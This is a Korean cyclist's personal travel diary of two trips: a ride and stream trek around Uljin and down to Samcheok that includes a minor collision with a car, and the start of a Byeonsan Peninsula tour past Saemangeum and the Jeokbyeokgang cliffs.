라면으로 끼니를 때우고 18:56 차를 탔다. 버스는 삼척을 거쳐 울진으로 내려갔다. 가는 내내 쉴 새 없이 떠드는 관광객들 때문에 잠을 이루지 못했다. 23:26 울진 도착. 자전거를 몰고 텅 빈 국도를 따라 강 건너편의 찜질방으로 찾아갔다. 왕피천 찜질방은 문을 닫았다. 한숨 한 번 쉬고, 다시 읍내로 돌아와 5년 전에 묵었던 명성 찜질방으로 향했다. 울진 친환경 농업 엑스포 기간 중이라 사람들이 많다. 배개 하나 달랑 베고 자리에 누워 잠을 청했다. 여행자들끼리 옹기종기 모여 앉아 여행정보를 교환하지 않을 뿐, 찜질방이 어떤 면에서는 유스호스텔이나 도미토리보다 낫다. 찜질방이 한국식 게스트하우스 도미토리라고 보면 되지 않을까? 그러고보니 장기간 해외여행을 해보지 않아 날개가 부러진 기분이다.

7시 무렵 깨어 샤워하고 자전거를 점검했다. 저번 주말에 약 5시간에 걸쳐 물세척하고 기름칠한 보람이 있어 구동부에서 소리가 별로 나지 않는다. 잘 정비된 자전거는 주행 중 타이어 스레드가 아스팔트에 접지하면서 나는 찰진 고무 마찰음 밖에 나지 않는다. 그 정도까지는 아니어도 정비가 썩 잘 되어 있어 만족스럽다. 반면 술과 스트레스로 찌든 몸은 그렇지 않다.

편의점에서 도시락과 삼각김밥을 아침으로 먹고 읍내를 배회하며 트래킹 때 먹을 점심꺼리를 장만했다. 버스 터미널 부근을 지나가다 보니 왠 중국집이 아침 영업을 하는 것 같다. 괴이한데? 조그마한 읍내를 두어 바퀴 돌다가 아무래도 트래킹 중에 배낭이 젖을 것 같아 수퍼에 다시 들러 비닐 봉투를 얻었다. 인근에서 야영하던 사람들이 아침꺼리를 장만하러  자다 깬 얼굴로 수퍼 안을 좀비처럼 돌아다녔다.

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9:30 출발. 읍내를 벗어나 망양 해수욕장 방면으로 달렸다. 안개가 짙게 깔려 강 건너편이 보이지 않는다. 망양 해수욕장도 사정은 마찬가지.

해도 안 난 아침인데 멸 킬로미터 달리지 않고도 땀이 났다.

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망양정으로 오르는 길.

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관동팔경 중 제 1경으로 칭송받는 망양정. 현판은 대체 어디 갔을까? 아저씨들이 망양정 앞의 시야를 확보하기 위해 나무를 잘라내고 있었다. 무더위에 이런데서 술 마시고 놀던 선비들이 어쩐지 가엾어 보였다. 바위에 제 이름과 싯귀를 새기는 등 자연 파괴를 일삼으며 계곡에 발 담그고 시원하게 노는게 낫지 않나?
 
안개 속에 가려진 망양 해수욕장과 별 볼 일 없는 망양정을 지나쳐 산포리 쪽으로 남행. 동해안 위쪽과 달리 인적이 드물어 분위기가 아주 좋았다. 간혹 민박 집과 이 나라의 금수강산을 사정없이 조져놓는데 열을 올리는 펜션들이 눈에 띄긴 하지만 그 수가 부담스러울 정도로 많지 않았다.

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촛대바위... 옆으로 동해안에서 늘 보던 철조망. 길이 조용하고 아름답다. 자전거 하이킹하기에 딱이다.

해변을 따라 있는 캠핑장에 플랭카드가 걸려 있다. 해병제대 군인들이 독도 수호를 다짐하며 울진 앞바다에서 독도까지 특수영법을 사용해 릴레이 수영한다고 한다. 광복절 뉴스에 나오겠군. 저녁때 찜질방에서 아홉시 뉴스를 보니 정말 노해병들이 독도에서 만세를 부르는 뉴스가 나왔다.

산포리 앞바다(옆바다?) 구경을 잘 하고 나서 우회전해 진복리 부근의 울진학생 야영장 옆으로 난 농로를 따라 올라갔다. 특이하게도 흔히보던 다람쥐, 뱀 등의 로드킬과 달리 박쥐가 죽어 있었다.

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노음리 근처. 보호수 팻말이 붙어있는 멋진 나무 아래 벤치.

큰길 교차로 부근에는 어김없이 길 안내하는 천막이 있다. 울진에서 열리는 친환경농업 엑스포를 안내하는 것 같다. 울진에서 준비를 참 잘해놓은 것 같다. 구름을 헤집고 해가 멀끔히 얼굴을 내밀어서 고갯마루에서 한숨 돌리고 팔 토시를 착용했다.

자전거 탈 때 입는 져지 대신  수영복에 얼마 전에 옥션에서 5천원 주고 구입한 파란 등산복 티셔츠를 걸치고 자전거를 탔다. 쿨맥스 등산복이라 잘 마른다. 수영복은 여차하면 바다나 계곡에 뛰어들 목적으로 입었다. 워낙 편한 복장이라 이러다가 버릇되겠는데? 폼은 안 난다. 그런데, 폼이 밥 먹여주나? 난 아저씨란 말이다.

굳이 GPS를 들여다보지 않아도 쉽게 성류굴 가는 길을 찾았다.  강변을 휘돌아 성류굴 입구에 다다랐다. 입장료 3천원, 자전거는 굳이 열쇠를 채우지 않고 매표소 앞에 세워두고 메고 있던 배낭은 사물함에 맡기고 좁은 굴 입구로 향했다. 굴에 들어서자 마자 서늘한 냉기가 끼친다.

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종유굴 여기 저기 설치되어 있는 온습도계를 보니 온도는 16.7도, 습도가 95%.

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흡사 내장 같아 보이는데? 어우 징그러.

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종유굴을 볼 때마다 단테의 신곡이 생각났다.

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또는 H.R. 기거의 작품들.

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스폿 조명을 받고 있는 종유석. 세계 어디서나 나무든 돌이든 남근이나 여근 모양이면 이렇듯이...

성류굴을 나와 농로를 따라 왕피천을 따라갔다. 저수지를 지나면서 본격적인 오르막길이 시작되었다. 울창한 숲 사이로 콸콸 흐르는 물 소리가 들린다. 간혹 좁은 길을 따라 내 자전거를 추월하는 자가용들이 지나갔다. 150m까지 올랐지만 내리막길에서 신나게 내려가긴 좀 무서웠다. 속도를 줄여 구산리 구고동에 다다랐다. 해는 쨍쨍 내리쬐고 땀이 비오듯 쏟아졌다. 32도.

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상천동까지 자전거를 몰고 가서 왕피천 트래킹을 시작할 생각이었지만 마음이 바뀌었다. 날이 워낙 더워서 한시라도 빨리 물에 몸을 담그고 싶어 자전거를 대충 세워두고 자물쇠는 채우지 않은 채(이런 데서 누가 자전거를 훔쳐가겠나?) 왕피천에 발을 담궜다.

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물살이 거칠고 매우 빠르다. 언덕에서 볼 때는 별로 깊어 보이지 않았는데 개울에 들어가보니 허리춤까지 물이 찬다. 물살이 빨라 거의 둥둥 떠내려가다시피 하류로 흘러갔다. 간신히 중심잡고 건너편 기슭에 다다랐다. 날이 더워 부러 개울에 뛰어든 탓에 이미 온 몸이 젖고 배낭도 젖었다. 개울 트래킹이니까 일단 담그고 시작해야 속이 편하다. 비닐봉투에 넣은 배낭의 내용물을 꺼내 밀폐 여부를 다시 확인하고 출발.

어제 아침에 회사갈 때 깜빡 잊고 등산 샌달 대신 운동화를 신고 왔다. 몹시 후회된다. 바위가 뾰족뾰족해 신발을 벗을 수는 없고, 발과 신발과의 마찰력을 유지하기 위해 양말도 벗을 수가 없다. 그냥 이대로 개울을 따라 죽 올라가야 한다.


동영상으로 보는 것과 달리 물속에서 중심잡기가 몹시 힘들다. 신발은 죽죽 미끄러지고 물살에도 죽죽 밀린다. 건너편으로 건너려면 두어명이 한 조가 되어 자일을 끌어야 할 판. 동영상 마지막 부근에서는 물이 허리까지 잠겼다. 이건 도저히... 한가하게 동영상 찍을 분위기가 아니라서 중단.

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한시간쯤 걸어 올라서 상천동 근처의 보에 다다랐다. 오는 동안 두어번 미끄러졌다. 시원하게 물 먹었다. 보 저쪽 편에 자동차를 세워놓고 천막을 친 채 고기를 구워먹는 사람들이 보였다. 하지만 물살 탓에 끄트머리가 붕괴된 저 보를 지나갈 수 없을 것 같다.  평화로운 사진과 달리 무척 으시시하다. 용소까지는 절반 정도 남았다. 차라리 자전거를 몰고 상천동까지 왔더라면 좋았을 껄 그랬나? 이 더위에 직사광선 아래 땀을 비오듯 쏟으면서 자전거 타긴 뭣하고...  그래 이쯤에서 포기하자.

내려오는 길에 배낭을 내려놓고 쉬었다. 온통 젖었다. 뭐 사실 여기까지 오는 길의 절반은 물 속에 푹 잠기다시피 했으니까. 오후 한 시. 점심을 먹으려고 배낭을 열고 있는데 인기척이 느껴졌다. 등산객 한 팀이 올라오는 중. 한 아저씨가 돌아오는 길이냐며, 용소까지 거리를 묻는다. GPS를 흘낏 보니 4km 가량. '여기서 한시간 반 정도 걸으면 용소까지 가고 넉넉 잡아 세시간 반이면 속사마을까지 갈 수 있는데, 여기서 30분 거리에 보가 하나 있어요. 자일은 챙겨오셨어요?' 챙겨왔단다. 이 팀을 따라갈까 하다가.. 돌아올 때 쯤이면 오후 3시가 될텐데, 또 자전거를 타고 돌아다닐 생각을 하니 끔찍해져서(아침 8시부터 5시간 동안 자전거 타고 걷고 해서 많이 지쳤다) 역시 관두기로.

점심 먹고 물이 뚝뚝 떨어지는 몸으로 다시 개울을 따라 구고동으로 돌아왔다. 오후 2시. 33.7도. 구고동 다리 밑에 젖은 짐을 펴 놓고 산들바람이 부는 다리 밑 그늘로 기어들어가 누웠다.  오후 3시 무렵 깨었다. 별 거 아닌 거 같은데 많이 지쳤다. 이런 저질 체력 같으니라고.

짐을 바리바리 배낭에 쌌다. 배낭은 작년에 지리산 갈 때 산 38리터 짜리인데 3일 산행하기엔 공간이 넉넉치 않아 결국 지리산행 때는 써보지 못했다. 등판이 망사라 자전거 탈 때는 땀이 배이지 않아 아주 좋았다. 계획했던 용소까지 가지 못해 아쉬움이 많이 남지만 잊어버리자.

오던 길을 거슬러 성류굴 맞은편의 울진 종합 운동장까지 자전거를 신나게 몰았다. 자전거를 모는 내내 울진읍민들이 부러웠다. 읍내에서 조금만 나가면 왕피천이나 불영계곡같은 멋진 계곡이 있고, 읍내를 관통하는 왕피천도 무척 맑아 물놀이 하기 좋았다.

시간이 많이 남아도는데 딱히 할 일도 없어 친환경 농업 엑스포나 구경하러 갔다. 그 행사 때문에 조성한 넓은 엑스포 공원이 왕피천변에 펼쳐져 있다. 그런데 입장료가 무려 12000원이나 한다. 대체 뭐가 이리 비싼가 싶어 팜플렛을 뒤적여 보니, 입장권이 성류굴 무료관람, 불영사 관람 할인권, 백암/덕구온천 할인권, 민물고기 생태체험관 할인권, 엑스포 행사장내 아쿠아리움 무료 관람, 입체영화 무료 관람등을 포함하고 있다. 진작 알았더라면 좋았을 껄!

어젯밤 뉴스에서 친환경 농업 엑스포 관람자가 백만명을 돌파했다는 얘기를 들었다. 입장권을 사서 들어가보니 과연 그럴만 했다. 방학을 맞은 아이들이 즐기기에 딱 좋았다.

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식물원에서 본 시계꽃. 꽃잎이 뒤집혀 있고 시침, 분침, 초침 따위가...

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하와이 무궁화.

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대게.  왕돌초라 불리우는 대륙붕 부근의 돌 섬에 조성된 생태계에서 산다. 왕돌초가 열대바다의 산호초와 비슷한 역할을 하는 것 같다. 남획에 의해 고갈된 환경을 되살리기 위해 남해바다에 다량의 인공어초를 설치했는데 성과가 성공적이었다는 뉴스를 본 적이 있다. 울진에도 인공어초를 설치하는 것 같다.

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아... 털게, 대게, 왕게들이 바다 밑에 이렇게 떼지어 사는구나. 먹음직스럽다기 보단 징그럽다.

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비행중인 가오리

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엑스포 공원 앞 왕피천. 건너편은 아침에 안개가 자욱했던 망양 해수욕장.

오후 6시. 대략 2시간쯤 엑스포 구경을 했다. '국제' 라는 접두어를 붙이기는 민망하지만, 행사 기획을 참 잘 했다. 세심한 부분까지 신경 썼다. 백만명 관람도 이해가 간다. 지치고 다리가 아파서 벤치에 털썩 주저앉아 쭈쭈바를 빨아먹었다. 예전에는 자전거 탈 때 설레임을 자주 먹었는데 가격이 1500원으로 올라 먹기 부담스러워 그 대신 800원짜리 빠삐코를 자주 먹었다.

벤치에 놓고왔던 모자를 되찾고 충전을 위해 맡겼던 휴대폰을 되찾았다. 8시 무렵 저녁 행사가 있어(8월 16일이 폐회) 재입장용 스탬프를 팔목에 찍고 울진 시내로 자전거를 몰았다. 주말이라 자전거 가게가 문을 닫아 자전거에 바람을 넣을 데가 마땅치 않다. 아무래도 이대로 끌고 다녀야겠다.

읍내의 만나삼계탕에서 8500원짜리 삼계탕을 시켰다. 양해를 구하고 엑스포에서 산 5천원짜리 오미자와인을 삼계탕에 곁들여 먹었다.  오후 7시. 다시 엑스포 행사장으로 갔다. 행사장은 파장 분위기다. 잘못 알았다. 7시 시작해서 8시 끝나는데 8시에 시작하는 줄 알았다.마지막 행사는 불꽃놀이다.

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주 공연장에서 불꽃놀이를 기다리는 사람들.

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불꽃놀이를 이렇게 가까이에서 구경한 것은 처음. 왕피천에서 불꽃이 올라왔다.

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피날레.

어제 묵었던 동명 찜질방 대신 강 건너 명성 찜질방으로 향했다. 엑스포 때문에 사람들이 워낙 몰려 읍내의 모든 숙소가 찼고 찜질방에도 사람들이 바글거릴테니 신발을 잘 챙기란다. 들어와서 30분이 채 안된 열시 반 무렵이 되자 돗대기시장처럼 붐볐다. 새벽까지 잘 자다가 깼다. 다시 잠들었다.

아침 7시 조금 넘어 일어났다. 샤워를 마치고 찜질방을 나왔다. 어제 삼계탕을 든든히 먹었더니 아침 먹긴 뭣하고 바로 출발. 5년 전 동해에서 울진까지 자전거 타고 올 때가 딱 이맘때였다. 날씨도 비슷하다. 한낮에 섭씨 34도. 코스는 동일. 그때와 지금이 어떻게 달라졌나 확인하고 싶어서 왕피천 트래킹과 울진-동해 자전거 주행을 패키지로 묶어서 여행하게 된 것이다. 그래서 아침부터 히죽히죽 웃었다. 이번에는 잘 될 것이다.

7번 국도를 따라 죽변으로 출발했다. 아직 더위가 들개처럼 몰려오기 전, 햇볕은 갓나고 공기는 선선하다. 해변을 신나게 달려 죽변에 다다렀다. 뭐 그래도 땀 나는 건 마찬가지다. 편의점에서 샌드위치와 삼각김밥을 사 먹고 한 숨 돌린 후 죽변항을 돌아 '폭풍속으로' 세트장으로 향했다. 죽변항에 곰치국으로 아침먹을 만한 곳이 있었는데 바보같이 편의점에서 샌드위치를 사먹어서 후회했다.

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'폭풍속으로'란 드라마의 촬영지. 본 적 없다.

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촬영지 옆 빽빽한 대나무 숲과 옥빛 바다.

죽변항을 출발해 원자력 전시관 방면으로 향했다. 다음 지도에는 원자력 발전소가 녹지로 나타난다. 그쪽으로 길이 있는 줄 알았는데, 역시나, 원자력발전소를 가로지르는 길은 출입이 제한되어 있다. 다시 되돌아와서 7번 국도와 나란히 이어지는 길을 따라 원자력 전시관에 다다랐다. 잠깐 쉬다가 다시 출발. 다음 목적지는 호산리.

길고 지루한 업힐이 이어지는 동안 바람 한 점 불지 않아 땀이 비오듯 쏟아져내렸다. 호산리에 다다르기 전 문닫은 하늘휴게소를 지나 자유수호의 탑 바로 직전에 공터에서 자전거를 세웠다. 고갯마루까지 올라오니까 시원한 바람이 불어온다. 오르막길 내내 힘들어서 기어비는 거의 1:3, 1:2에서 오락가락했다.

호산리에 다다라 점심을 먹으려고 했는데 도착해보니 10:46 밖에 안 되었다. 그래도 늦으면 밥을 못 먹을테니(5년 전에는 노변에 밥 먹을 곳이 없어서 무척 황당했다) 아직 음식점이 준비가 안 되었단다. 하는 수 없이 물만 얻었다.

오르막길 막바지에서 내려오는 길에 사고가 났다. 노곡 삼거리 앞. 맞은편 차선에서 내려오는 나를 미쳐 보지 못하고 좌회전하다가 자전거와 충돌했다. 피할 수 있었지만 피하지 않았다. 순식간에 벌어진 일이다. 만약 피했다면 내려오는 속도 때문에 삼거리 맞은편의 펜스에 자전거를 박고 절벽으로 굴러떨어졌을 것이다. 대신 브레이크를 잡고 좌회전하던 자동차 우측 범퍼를 그대로 박았다.

자전거 속도가 급격히 줄면서 정지했다. 몸이 붕 떠서 반 이상 회전할 때까지 핸들바를 놓지 않았다. 적절하다 싶은 타이밍에 핸들바를 놓고 왼팔을 안쪽으로 휘둘러 공중에서 몸을 돌린 후 왼쪽 어깨부터 아스팔트에 착지했다. 그리고 데굴데굴 굴렀다. 그러니까 액션대역처럼 무척 멋지게 2m 짜리 공중제비를 돈 다음 아스팔트에 떨어진 것이다.

자동차를 몰던 아줌마는 넋이 나가서 횡설수설했다. 나는 상체를 일으켜 세웠다가 다시 쓰러졌다. 차문이 열리면서 조수석에 앉아있던 아저씨가 허겁지겁 뛰어온다. 자전거 위치를 확인했다. 범퍼에 부딛혔던 자전거는 내 앞쪽으로 멀리 튕겨 나가 있었다. 아저씨가 나를 일으켜 세우면서 감탄했다는 듯이 말했다. '운동신경이 좋아서 크게 안 다친 것 같군요.' 그러게 말이다. 자전거 타고 사고에 대비해 벽을 향해 쏜살같이 달리며 미친놈처럼 치킨런 연습하는 사람이 얼마나 되겠나?

두개골 검사. 집 전화번호를 떠올려 보았다. 기억 안 난다. 아참, 원래 집 전화번호를 기억 못했지. 파이를 12자리까지 외워보았다. 된다. 왼쪽 어깨가 욱씬거렸다. 감각은 다 느껴진다. 무척 더운 날씨고 이마에서 땀이 주르륵 흘러내렸다. 볼이 간지럽다. 등골은 여전히 서늘하고. 아줌마 운전수는 안절부절하고 있고 아저씨가 나를 부축해 앉혔다. 괜찮아요? 글쎄요. 그점에 관해서는 다소 회의적인 편입니다.

앉아서 사고 경위를 따졌다. 그쪽이 잘못을 인정했다. 아줌마는 당사자인 나보다 정신없어 보인다. 명함을 받고 전화번호를 확인하고 차 번호를 적었다. 사고 지점을 waypoint로 찍어 두었다. 자전거는 별 탈 없다. 브레이크 와이어가 이탈했고 한쪽 패달이 약간 찌그러졌다. 생각보다 브레이크가 잘 먹은 것 같다. 그래서 큰 사고가 나지 않은 것이다. 살아서 다행이다. 병원에 가자고 아저씨가 말한다. 살았으니까 일단 자전거를 몰고 싶다. 필요하면 연락할테니 먼저 가라고 보냈다.

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사고 지점. 도로변에 멍하니 앉아 아까 식당에서 얻어온 물을 마셨다. 나중에 돌아와서 GPS 로그를 분석해보니 저 내리막길에서 내려올 때 속도가 44kmh였고 브레이크를 잡아서 속도가 37kmh로 떨어졌다. GPS의 기록 시차를 고려하면 임펙트 순간의 속도는 대략 20~30kmh 쯤 되지 싶다.

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정상 및 비정상

삼척까지 35km 남짓 남았다. 어깨가 뻐근하지만 아드레날린 펌프 덕택에 자전거 주행은 비교적 수월했다. 임원을 지나 5년 전에도 쉬었다 갔던 신남 해수욕장 부근에 다다랐다. 예전에 없던 해신당 공원이란게 생겼다. 해신당이 남근 숭배인 것 같다. 날이 무척 더워서 햇볕에 쏘다니긴 좀 그렇고 파라솔 아래에서 800원짜리 빠삐코를 사먹고 다시 출발했다. 배가 슬슬 고파온다.

용화해수욕장을 지나 고갯마루의 작은 공원에서 자전거를 멈추고 그늘 아래 벤치에 누웠다. 옆에서 전라도에서 온 아저씨들이 회를 먹고 있다. 날더러 좀 먹어보겠냐고 묻는다. 대답하려고 일어서다가 갈비뼈가 결렸다. 아프다. 아니요 괜찮습니다. 어째 상태가 안 좋은 것 같은데? 아까 병원 가잘때 갈 껄 그랬나? 아니다. 오기다. 공원 위쪽에 설렁탕 집이 보였다. 식당에 밥이 떨어져서 막국수를 먹었다. 식사가 나올 때까지 근 한 시간을 기다렸다. 주인장은 싱글벙글한다. 밥이 떨어질 정도로 오늘 영업이 잘 되었단다. 하루 장사를 점심 한 때로 다 했다나?

근덕면에 바다로 흘러가는 개울이 있던 것을 기억한다. 이 망할 더위에 지쳐 나가 떨어질 것 같아 시원하고 맑은 개울에 몸을 담그고 싶다. 어제처럼 오늘 복장도 여차하면 물속에 뛰어들려고 수영복과 등산복 차림이다. 개울에 수풀이 우거졌고 수초와 녹색말이 보인다. 아... 5년이 지나는 동안 그 맑았던 물이 이렇게 흐려졌구나. 김이 새서 개울을 지나쳤다. 가다보니 '재동유원지'란 팻말이 보였다. 아이들이 물속에서 첨벙이고 있다. 빙고.

개울 한 가운데를 깊이 파서 위쪽과 아래쪽에 여울을 만들어 물을 고엿다. 그렇게 해서 천연 수영장을 만들어 놓았다. 자맥질 몇 번 하니 살 것 같다. 아까 사고날 때 왼쪽 팔굽 위와 어깨에 상처가 생겼다. 팔 토시에 피가 배었다. 개울물에 상처를 담궈두면 감염이 염려되어 천원 내고 샤워장에서 샤워하고 먼지묻은 옷들을 빨았다. 잔돈으로 빠삐코를 사 먹었다. 아내가 전화했지만 사고 얘기는 하지 않았다. 이 더위에 뭐하는 뻘짓이냐며 어서 돌아오란다. 이 더위가 아니면 안된다. 동해까진 가야겠다.

갈빗대를 비롯해 왼쪽 어깨가 많이 쑤신다.  아무래도 삼척에 들러 진료를 받아야겠다. 지나가다가 경찰서가 보여 삼척에서 응급진료가 가능한 병원이 있는지 물어보았다. 사고처리에 관해 물어보니 당사자간 합의가 안되면 그때해도 늦지 않단다. 보험사에 연락해 진료 청구를 하라고 사고낸 아줌마에게 전화했다. 전화를 안 받는다. 일단 삼척의료원(삼척병원)까지 가보자.

상맹방 해수욕장에서 자동차 전용도로말고 구 7번 국도로 들어가는 길을 찾느라 헤멨다. 겨국 못찾고 자동차 전용도로로 들어가려고 그 입구에 가보니 자전거 여행자가 있다. 군 입대를 앞두고 자전거 여행을 해 보자 해서 경상남도에서부터 죽 올라오는 길이란다. 함께 자동차 전용도로를 올라가 터널을 통과했다. 안 따라오길래 뒤를 돌아보니 자전거를 세웠다. 무슨 일이냐고 물으니 펑크가 났단다. 타이어가 참 얇다. 벌써 펑크가 두번 났단다. 능숙학게 펑크를 때운다. 옆에서 도와줬다. 수리 중에 제주도에 꼭 가보라고, 해안도로 일주도 보람있긴 하지만... 성산에서 성판악까지 올라가 서귀포로 내려간 다음 시계 방향으로 해안도로 일주하는 코스를 알려줬다.

어깨가 많이 쑤셔서 먼저 출발했다. 삼척병원에 도착해 응급실에 진료 접수했다. 엑스레이를 찍어보니 뼈는 이상이 없단다. 이런 젠장 근육통인거야? 뼈라도 하나 부러져야 여행경비나 뽑아낼텐데... 사실 사고처리하던가 합의해서 합의금 뜯어낼 수는 있겠지만 양심상 그런 짓은 못 하겠다. 병원에서 한 시간을 보내니 벌써 4시 30분. 동해까지 가려니 왠지 김이 새서 관뒀다. 5년 전에 비해 체력은 훨씬 좋아졌다. 사고만 아니었으면 아마 오늘 강릉까지 갔을 것 같다.

삼척을 빙글빙글 돌며 구경했다. 삼척도 많이 변했다. 동굴 엑스포 타운이란 것이 생겼다. 삼척이 동굴의 도시란다. 낮에 먹은 맛없는 관광지 막국수로는 배가 차지도 않아 롯데리아에서 햄버거와 팥빙수로 배를 채웠다.

18시 동서울행 버스를 탔다. 차가 많이 밀려 서울에 도착하니 23시. 시내주행을 조금 하다가 중랑천 자전거도로로 접어들어 공릉까지 갔다. 치킨과 맥주를 사들고 마누라가 기다리는 임시 거처에 도착했다. 아이를 재우고 맥주를 마셨다. 올해 동해안 자전거 여행도 제대로 끝나지 않았다. 기분이 묘하다.

사고낸 아줌마와 연락이 닿아 진료비와 약값을 받았다. 망가진 패달 값을 받을까 하다가 그냥 수리해서 쓰기로 했다. 미안하고 고맙다며 바닷가에 놀러오란다. 시내 자전거 주행과 마찬가지로 자전거 여행도 살아서 집에 돌아가는 것이 목적이다. 살아서 집에 돌아와 치킨과 맥주를 마시며 아내와 아이가 자는 모습을 봐서 감사하다.



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변산반도 자전거 여행 경로

변산반도는 서해-남해-동해로 이어지는 한 달 가량의 자전거 여행 중 지나치게 될 코스였다. 원래 계획은 한 달 짜리 자전거 여행이었다가 일주일 단위로 끊어 각각 서해, 남해, 동해로 나누었다가 그것도 여의치 않게 되어 어쩌다 보니 변산반도만 떼어내 1박 2일 코스로 자전거를 타게 되었다. 지난 3년의 이력이다. 잊어버리자.

17:30 집에서 출발. 내일 날씨가 맑단다. 18:45 강남 터미널 도착. 부안행 표를 끊었다. 버스는 천안을 조금 지나서 기름이 떨어져 차가 멎었다. 고속도로 갓길에 세운 버스를 살려보려고 갖은 애를 쓰던 기사 아저씨는 용케 시동을 다시 거는데 성공했다.

부안에 도착하니 11시 20분. 날이 쌀쌀해서 피부에 소름이 돋았다. GPS를 켜고 뉴부안 찜질방에 갔으나 내부 공사 중, 5월 10일 이후 재개장한단다. 건강나라 찜질방으로 갔다. 작은 찜질방에 사람들이 꽤 북적인다. 여기저기서 경상도 사투리가 들린다. 전라도에서 전라도 사투리나, 서울 사투리가 아닌 경상도 사투리를 듣다니 무척 신기하다.

자리를 잠시 비워 담배 한 대 피우러 갔다 온 사이 누군가 내 자리를 차지했다. 자리가 없어 여기 저기 헤메다가 불편하게 잠들었다. 보통 새벽 2-3시에 잠들곤 하는데 12시부터 자려니 적응 안된다. 1시쯤 잠들었다. 8시에 깼다. 기분나쁜 꿈을 꾸었다. 샤워하고 찜질방을 나왔다. 전날 밤 살짝 비가 와서 체인이 떡졌다. 날이 흐리다. 오늘은 OSM 지도+지형도를 GPS에 넣어 처음으로 주행하게 된 날이다. 도로 윤곽이 희미해서 OSM으로 가민용 지도를 만들 때 신경 좀 써야겠다.

아담한 부안 시내의 할인 마트에서 빵과 우유를 샀다. 370kcal, 170kcal. 사실 빵, 우유 대신 백합죽을 먹을 생각이지만 가는 길에 백합죽 전문이라는 계화회관이 안 보이면 이걸로 점심까지 버틸 생각이다. 빵과 우유를 마트앞 벤치에서 먹어치우고 천천히 자전거를 몰아 부안 시내를 빠져 나갔다. 해가 안 떠서 날이 차갑다.

변산반도를 애두르는 30번 국도만 따라가면 된다. 길이 무척 쉽다. 부안 경찰서를 지나자 계화회관이 보였다. 빙고. 백합죽을 시켰다. 7000원 짜리 죽은 꽤 맛있지만 양은 좀 적은 편. 맛이 썩 좋았는데 맞은편의 경상도 가족은 '이건 약이야' 하면서 감탄한다. 나도 대충 만족하고 패달을 밞아 새만금으로 향했다.

부안

지나가다 민가 사진 한 장 찍었다. 폐가인지 사람이 사는지 잘 모르겠다.

지나가다 삐삐 인형이 앉아 있는 모습을 보았다. 소방서 옆 가게에서 성인용품을 판매한다는 전단지가 전봇대마다 붙어 있었다. 일없는 겨울밤 놀고 있을 농촌 총각을 겨냥한 타깃 마케팅일까? 친환경 에너지 생산단지 인지가 새만금 뻘 근처에 건설되는 것 같다. 내가 알기로 군산에 소위 친환경 에너지 설비를 생산하는 공장이 있다.

길이 참 편하다. GPS의 지형도를 봐도 고도차가 거의 없는 꾸준한 평지가 해변까지 이어진다. 새만금 전시관에 이르기 전 언덕에 오르니 새만금이 잘 보이는 곳이 있다. 어젯밤 찜질방에서 본 경상도 가족에게 새만금에 관해 아는 것도 많은 내가 침튀기며 설명해 줬다. 그 가족은 어젯밤 내가 잠시 자리를 비운 사이 내 자리를 차지한 가족이었다.

새만금

이제 썩어가는 갯벌에서 더 이상 '생산'되지 않는 백합에게 안녕을 고해야 한다.  이미 막은 뻘을 다시 살리기 위해 수조원이 투입된 공사를 되돌리기엔 늦었다 -- 이건 내 관점이다. 뼈저린 실수겠지만 새만금 방조제를 쌓을 당시엔 정치가나 일반 대중이나 생존에 바빠 장래 생태계가 어찌어찌될 것이라 예측하지 못했다. 그 당시에는 땅을 메워서 농지와 택지를 만든다는 그 계획이 꽤 그럴싸해 보였을 것이다.

새만금 방조제

전날밤 전주 뉴스에서 새만금 방파제 안쪽의 선박 소유주에 대한 보상이 시작되었다는 기사를 보았다. 새만금 전시관에서 방조제 공사가 얼마나 위대하고 대단한 공사였는지 떠벌리는 비디오를 보았고 장래 그곳에 해양 레저와 친환경 어쩌구가 들어선다는 것도 알게 되었다. 방조제 길이 일반에게 공개되었을까? 모르겠다. 아직 군산에서 여기까지 오는 길은 없는 것으로 알고 있지만.

변산 해수욕장

고개를 몇 개 넘자 변산 해수욕장이 나타났다. 아직 해가 안 떠 썰렁하다. 요즘 기상청의 일기예보가 잘 맞는 편이라 그걸 믿는다. 백합 껍데기가 모래밭에서 군데군데 보였다.

변산 해수욕장

바닷가에서 캔맥주 쳐먹고 빈 병 버리고 가는 사람들은 대체 어떤 종류의 사람들일까? 내 동포, 내 형제, 내 이웃이다. 그러니 주워서 버리고 갖은 욕설이나 마저 하자.

변산 해수욕장을 지나 30번 국도를 따라가다가 고사포 해수욕장으로 빠지는 해안 도로로 방향을 바꿨다(우회전했다).  고사포 해수욕장을 지나쳤다. 고갯마루에 오르자 하섬을 바라볼 수 있는 전망대가 바로 나타났다.
하섬

하섬. 썰물 때면 육지와 섬이 연결된다. 물 때가 안 맞아 오늘 조개 따기는 글렀다. 내가 잘못 본 것이 아니라면, 이곳 해안에서 물이 빠지는 깊이가 대략 50cm 정도였던 것 같다. 그렇다면 바다처럼 보이는 저 곳을 걸어서 건너갈 수도 있겠다.

30번 국도

해변을 따라 고저차 30~40m 내외의 고개가 연이어 이어지는 해안 도로다. 변산반도를 반 시계 방향으로 돌고 있는 터라 해안 도로의 우측 차선이 바다와 맞닿아 풍광이 좋다. 해가 뜨지 않아 덥지도 않고 기분좋은 측풍(시속 3~4m 가량의 서풍)이 불어와 땀이 거의 안 나와 라이딩이 무척 상쾌하다. GPS의 기압계를 보면 날씨는 점점 좋아질 것이다.

적벽강

하섬을 지나고 얼마 안가 적벽강에 이르렀다.
적벽강

사암, 세일로 보인다. 이암도 있는 것 같다. 산화철 때문에 색깔이 다른 부분. 단애가 별로 특이해 보이지 않지만 그 깊이가 상당하다.
적벽강

아직 물이 덜 차올라 저 끝까지 갈 수 있었다.
적벽강

바닥. 설마 퇴적암 뿐일까? 밑에는 아무래도 화강암이 있을 것 같은데.
적벽강

책처럼 켜켜이 쌓인 층. 망치로 두들기면 부서진다. 언제 형성된 것인지 알고 싶은데, 쓸만한 안내문 같은 것은 보이지 않았다. 아마 내가 못 찾은 것일께다. 이거 애들 교육용으로 아주 좋은데. 어디가서 이런 규모로 보기 힘든 지층이기도 하고....

젹벽강에서 빈둥거리며 시간을 보냈다. 적벽강이 있는 곳은 자갈 해변으로, 떨어져 나간 셰일 덩어리가 조석에 의해 닳고 닳아 얇고 귀여운 판석을 만드는데, 각기 다른 퇴적층에서 떨어져 나간 조각들이 색색이 조약돌을 이룬다. 해가 뜨거우면 바닷가에 들어가 물장구나 치면 좋으련만...

적벽강을 뒤로 하고 채석강으로 향했다.

채석강

